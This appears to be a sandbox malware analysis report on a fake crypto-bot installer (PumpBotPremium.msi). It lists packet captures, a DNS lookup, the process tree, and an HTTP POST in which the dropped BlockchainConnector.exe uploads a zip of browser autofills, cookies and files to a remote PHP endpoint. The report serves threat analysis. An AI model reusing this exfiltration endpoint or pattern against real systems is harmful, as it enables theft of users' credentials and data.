                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.857500076 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.861238003 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.913527012 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.915230989 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.948055983 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.948246956 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954164028 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954193115 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954216003 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954230070 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954252005 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954276085 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954288006 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954302073 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954309940 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954319000 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954355001 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954399109 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954421997 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954447985 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954459906 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954473019 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954538107 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954561949 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954622984 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954664946 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954679012 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954699993 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954711914 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954736948 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954751015 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954796076 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954813004 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.954848051 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960134983 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960202932 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960217953 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960249901 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960299015 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960334063 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960344076 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960380077 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960387945 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960443974 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960457087 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960478067 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960489988 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960501909 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960503101 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960532904 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960546970 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960553885 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960592031 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960632086 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960733891 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960747004 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960760117 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960789919 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960832119 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960860968 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960872889 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960911036 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960932970 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960946083 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.960962057 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.961000919 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.961100101 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966094017 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966119051 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966201067 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966286898 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966309071 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966362953 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966371059 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.966789007 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.009725094 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.009835958 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.061553955 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.061680079 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.064639091 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.064744949 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.064781904 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.067583084 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070627928 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070643902 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070657015 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070671082 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070699930 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070713043 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070725918 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070750952 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070764065 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070776939 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070791006 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070804119 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070851088 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070864916 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070878029 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070890903 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070904016 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070918083 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070930958 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070947886 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070971966 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070985079 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.070997953 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071012020 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071024895 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071038008 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071060896 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071074009 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071085930 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071099043 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.071111917 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.089063883 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.772202969 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.773694992 CET4973580192.168.2.4167.99.214.194
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.779937983 CET8049735167.99.214.194192.168.2.4
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.780005932 CET4973580192.168.2.4167.99.214.194

                                                                                                                                                                                                                                                UDP Packets

                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.282638073 CET6394153192.168.2.41.1.1.1
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.341856956 CET53639411.1.1.1192.168.2.4

                                                                                                                                                                                                                                                DNS Queries

                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.282638073 CET192.168.2.41.1.1.10x410cStandard query (0)www.tinyvago.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                DNS Answers

                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.341856956 CET1.1.1.1192.168.2.40x410cNo error (0)www.tinyvago.comtinyvago.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.341856956 CET1.1.1.1192.168.2.40x410cNo error (0)tinyvago.com167.99.214.194A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                                                                                                • www.tinyvago.com

                                                                                                                                                                                                                                                HTTP Packets

                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                0192.168.2.449735167.99.214.194807736C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350265980 CET276OUTPOST /pip/x/requirements.php HTTP/1.1
                                                                                                                                                                                                                                                Host: www.tinyvago.com
                                                                                                                                                                                                                                                User-Agent: python-requests/2.31.0
                                                                                                                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                                                                Connection: keep-alive
                                                                                                                                                                                                                                                Content-Length: 339936
                                                                                                                                                                                                                                                Content-Type: multipart/form-data; boundary=fcf56c8ba9076abc4a2389945ea4f71e
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.350347996 CET11124OUTData Raw: 2d 2d 66 63 66 35 36 63 38 62 61 39 30 37 36 61 62 63 34 61 32 33 38 39 39 34 35 65 61 34 66 37 31 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66
                                                                                                                                                                                                                                                Data Ascii: --fcf56c8ba9076abc4a2389945ea4f71eContent-Disposition: form-data; name="file"; filename="user_95030.zip"PK^YAutofills/PK^YCookies/PK^YFiles/PK^Y
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356137037 CET1236OUTData Raw: 2d 45 48 b8 af 51 bb 77 d7 c4 fa 5d e9 ae 89 d2 fd 60 74 ee e2 be 0e ee fd e1 ae f1 66 9c 53 7a 9b 9f 3d 00 3c 0b 1e 63 49 dc d7 a6 d6 b6 da c0 93 6a f5 25 60 4c 4c ec 6f 3d fa 60 52 6b d4 e6 1d d7 df df 0f a0 d5 6a c9 41 5e 8d 46 23 7d f7 07 6b
                                                                                                                                                                                                                                                Data Ascii: -EHQw]`tfSz=<cIj%`LLo=`RkjA^F#}kxO]E#;7dmmCN3.{|>v.07K.OUt'PusNn#xh{gNo])5[=^mYTWdPU@++
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356395006 CET4944OUTData Raw: f3 d4 1f 78 db fd 63 5f ba 77 ff dd db 9a 9b f7 b4 df f3 ad dd 5f f9 fd 27 9a 1a 6d 1a a6 c3 c6 0e e6 f3 2f c4 82 05 f4 9d db 71 b8 01 e0 e2 08 4e bc fb 29 00 60 83 9f f5 63 78 e7 71 88 7f 46 fe de fe 77 fd ec 30 1d c1 43 90 ec 2b ea e0 92 70 f0
                                                                                                                                                                                                                                                Data Ascii: xc_w_'m/qN)`cxqFw0C+pXwfBu*sbfJNYkOWpV"6Uf`C'd<yRl-%[f"$I|+:QQdpl!FInn::C8Br1b]3!
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356448889 CET4944OUTData Raw: 69 db b4 95 40 d4 f1 a2 fe 53 f0 7f 46 51 ca 76 04 00 7f 40 80 bf ad 77 54 48 a3 ac 75 d0 33 cd 44 27 9c 1b 79 5f 71 ae 58 d0 22 97 c4 41 b3 14 1c c8 d1 08 92 49 9d 65 25 a9 dc da 26 94 01 a0 93 e4 89 f3 be 5f 25 ca 53 54 95 7c b6 a7 1f 21 e8 bf
                                                                                                                                                                                                                                                Data Ascii: i@SFQv@wTHu3D'y_qX"AIe%&_%ST|!!QW;+w>N.qZ|4oEQT?{e2!wx5Pq\R~dtzzK!8~?oK)<}LP"A]k53u
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356506109 CET7416OUTData Raw: 7b 9f a6 3e 04 67 53 59 f2 03 bd a8 5b f6 b7 4e 34 22 b3 ea a9 0b 1d 80 e1 a3 e8 15 a7 d4 00 0c d4 09 c0 c2 7e f7 eb 4f e9 ea 68 2a a3 43 23 04 da 87 b7 88 28 b7 57 0c bc 77 22 7d ef b7 76 b3 31 11 3c e3 96 8d a3 cf 3e 31 d7 d3 5d bb 76 59 a5 cc
                                                                                                                                                                                                                                                Data Ascii: {>gSY[N4"~Oh*C#(Ww"}v1<>1]vYUR7S-?)E]t7>g'G]xuN3/fg:",r|<WsAm~WUz=2#(`khXRSJ,6&7*Q&,E[={5Go
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.356535912 CET2472OUTData Raw: ab 80 c4 85 24 c6 00 1a 8d 86 40 26 01 2d 56 6e 2a 2b e2 d4 6a 0b 07 6f ad 44 44 17 9f ed ea 55 8e 30 73 cd 25 96 f3 a8 17 6c 1c 83 02 05 9d 8b 71 41 26 58 86 ec 40 1e 1f 1f 07 30 6f de 3c 22 6a 36 9b 2e 58 fa 91 2f d1 e7 e3 8d 4b 75 46 f5 33 52
                                                                                                                                                                                                                                                Data Ascii: $@&-Vn*+joDDU0s%lqA&X@0o<"j6.X/KuF3R*c(7oV!#LUfNPj8xU>IV0.eEv-VIU"yrBDW/C $rQOs:v"@__tKs"=:b2#M \g7#RVz
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362034082 CET1236OUTData Raw: d5 0d 84 ac 4e 69 9a 3a 86 ee 61 ce 69 38 03 80 47 47 86 56 91 f4 16 8b 85 bc f7 e2 39 b7 1c 72 fe 34 20 05 b4 52 ac d5 6c ba 24 e9 eb eb d3 1d d7 aa 72 36 e8 5a 07 3a 49 ea da 05 32 db 7a 75 5a 59 25 69 b5 5a 35 07 9d 5c 76 80 c8 c4 fd da 49 a4
                                                                                                                                                                                                                                                Data Ascii: Ni:ai8GGV9r4 Rl$r6Z:I2zuZY%iZ5\vIfv7UfWg-i;JU9 [#sneD`[l/VGCuGAX2:S(htce>Beci9drp;|:4i.=$pw
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362111092 CET1236OUTData Raw: 6d 11 42 24 28 8d 65 e5 b0 3b b7 56 ab 51 38 35 c7 9b 18 f8 ac 75 47 30 d1 e3 92 ec 5a b2 22 eb 30 59 0c 69 33 ee 5a 39 5b 5f a2 45 a4 91 7a 28 1e d3 84 c3 51 c0 30 00 39 82 38 a9 d5 38 9c 6f ec c2 f9 b1 56 93 35 f0 58 19 50 e8 9b 53 f8 3c 86 29
                                                                                                                                                                                                                                                Data Ascii: mB$(e;VQ85uG0Z"0Yi3Z9[_Ez(Q0988oV5XPS<);mG2T+- ?Ez%$n)"pL1+h,7bL{*N) 'K%V@tjq6nq;(<~5]6bHD},{1#] 0.TGGff
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362405062 CET1236OUTData Raw: b9 e1 aa bf b9 e7 77 df 7f f9 dd ff b4 6c 63 68 e2 9a 33 37 bc f3 b3 2b 76 0e 03 c0 d3 9f c1 bf 34 f2 7a bf ec fa a7 c7 55 6e fa ca ea a7 7e 7d 04 18 06 40 c3 8b da e7 6c 73 ff f8 13 00 8c 05 d7 fe e5 a5 61 ec 7e 70 c1 55 5f 5b 33 76 f2 ea 9b 4d
                                                                                                                                                                                                                                                Data Ascii: wlch37+v4zUn~}@lsa~pU_[3vM?K7xCc#W^vk|U6Yx&/`;>igmy_\|nZnz^T}`]Kz"?Of_~yg.k]
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:24.362536907 CET2472OUTData Raw: 9c 7a e6 ee 37 7d 7e 04 c0 f9 17 3e 77 d3 3d ff 85 0d f3 81 f3 b1 6d bd 69 e8 49 d8 be fe 86 77 fe f9 4a 06 f0 b4 d5 5f be 68 c3 6b de b2 62 23 01 17 ac be fc 24 3c 78 07 92 df df f8 27 bb 5f ff c2 ff bd 12 c0 2f 5d 71 ed b9 23 f8 c6 08 3f f1 39
                                                                                                                                                                                                                                                Data Ascii: z7}~>w=miIwJ_hkb#$<x'_/]q#?9W6~w?5bp7~+_p8E}wX8v3U{)/z7_|0;yqQTq<U_m+CQB"4t"(OYu
                                                                                                                                                                                                                                                Oct 30, 2024 22:05:25.772202969 CET204INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                Server: nginx
                                                                                                                                                                                                                                                Date: Wed, 30 Oct 2024 21:05:25 GMT
                                                                                                                                                                                                                                                Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                Content-Length: 0
                                                                                                                                                                                                                                                Connection: keep-alive
                                                                                                                                                                                                                                                X-Powered-By: PHP/7.4.33
                                                                                                                                                                                                                                                X-Powered-By: PleskLin


                                                                                                                                                                                                                                                Statistics

                                                                                                                                                                                                                                                CPU Usage

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                Memory Usage

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                                                                                                Behavior

                                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                                System Behavior

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:0
                                                                                                                                                                                                                                                Start time:17:05:04
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\PumpBotPremium.msi"
                                                                                                                                                                                                                                                Imagebase:0x7ff6f7af0000
                                                                                                                                                                                                                                                File size:69'632 bytes
                                                                                                                                                                                                                                                MD5 hash:E5DA170027542E25EDE42FC54C929077
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:1
                                                                                                                                                                                                                                                Start time:17:05:04
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                Imagebase:0x7ff6f7af0000
                                                                                                                                                                                                                                                File size:69'632 bytes
                                                                                                                                                                                                                                                MD5 hash:E5DA170027542E25EDE42FC54C929077
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:2
                                                                                                                                                                                                                                                Start time:17:05:07
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding B605B066270C5298BC361F916947E4D1
                                                                                                                                                                                                                                                Imagebase:0x980000
                                                                                                                                                                                                                                                File size:59'904 bytes
                                                                                                                                                                                                                                                MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:3
                                                                                                                                                                                                                                                Start time:17:05:11
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe"
                                                                                                                                                                                                                                                Imagebase:0x210000
                                                                                                                                                                                                                                                File size:892'416 bytes
                                                                                                                                                                                                                                                MD5 hash:6BE93FD0684F69F0FA34E68B750CF23E
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:4
                                                                                                                                                                                                                                                Start time:17:05:12
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s
                                                                                                                                                                                                                                                Imagebase:0x7ff664750000
                                                                                                                                                                                                                                                File size:60'657'664 bytes
                                                                                                                                                                                                                                                MD5 hash:65A50EBD00840753BA72C425D692E72E
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:5
                                                                                                                                                                                                                                                Start time:17:05:13
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:7
                                                                                                                                                                                                                                                Start time:17:05:21
                                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe" /s
                                                                                                                                                                                                                                                Imagebase:0x7ff7a1560000
                                                                                                                                                                                                                                                File size:41'556'480 bytes
                                                                                                                                                                                                                                                MD5 hash:E2FCA92943AC7464998DB6DEC39BDDD7
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Yara matches:
